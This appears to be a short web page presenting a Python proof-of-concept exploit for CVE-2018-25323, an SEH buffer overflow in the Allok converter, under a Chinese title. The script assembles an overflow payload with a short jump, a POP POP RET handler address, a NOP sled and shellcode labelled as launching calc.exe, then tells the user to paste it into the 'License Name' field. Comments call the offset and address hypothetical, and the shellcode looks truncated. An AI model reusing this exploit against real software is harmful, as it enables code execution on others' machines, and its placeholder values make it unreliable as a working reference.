CVE-2018-25323: Allok转换器SEH缓冲区溢出漏洞

# PoC for CVE-2018-25323 # Generates a malicious payload to trigger SEH overflow import struct # 1. Construct the payload # Offset to reach SEH record (Hypothetical value, requires debugging) offset = b"A" * 4108 # Next SEH: Short jump (6 bytes) to skip the SEH handler and land on shellcode next_seh = b"\xeb\x06\x90\x90" # SE Handler: Address of POP POP RET instruction (Universal or specific to module) # This address is hypothetical for demonstration seh_handler = struct.pack('<L', 0x1001AE61) # NOP sled nop_sled = b"\x90" * 16 # Shellcode: Sample calc.exe shellcode (windows/exec CMD=calc.exe) shellcode = b"\xd9\xc3\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" # Padding to fill remaining buffer space padding = b"C" * 500 payload = offset + next_seh + seh_handler + nop_sled + shellcode + padding # 2. Write payload to file try: with open("CVE-2018-25323_exploit.txt", "wb") as f: f.write(payload) print("[+] Exploit file generated successfully: CVE-2018-25323_exploit.txt") print("[+] Instruction: Copy contents of the file and paste into the 'License Name' field.") except Exception as e: print(f"[-] Error generating file: {e}")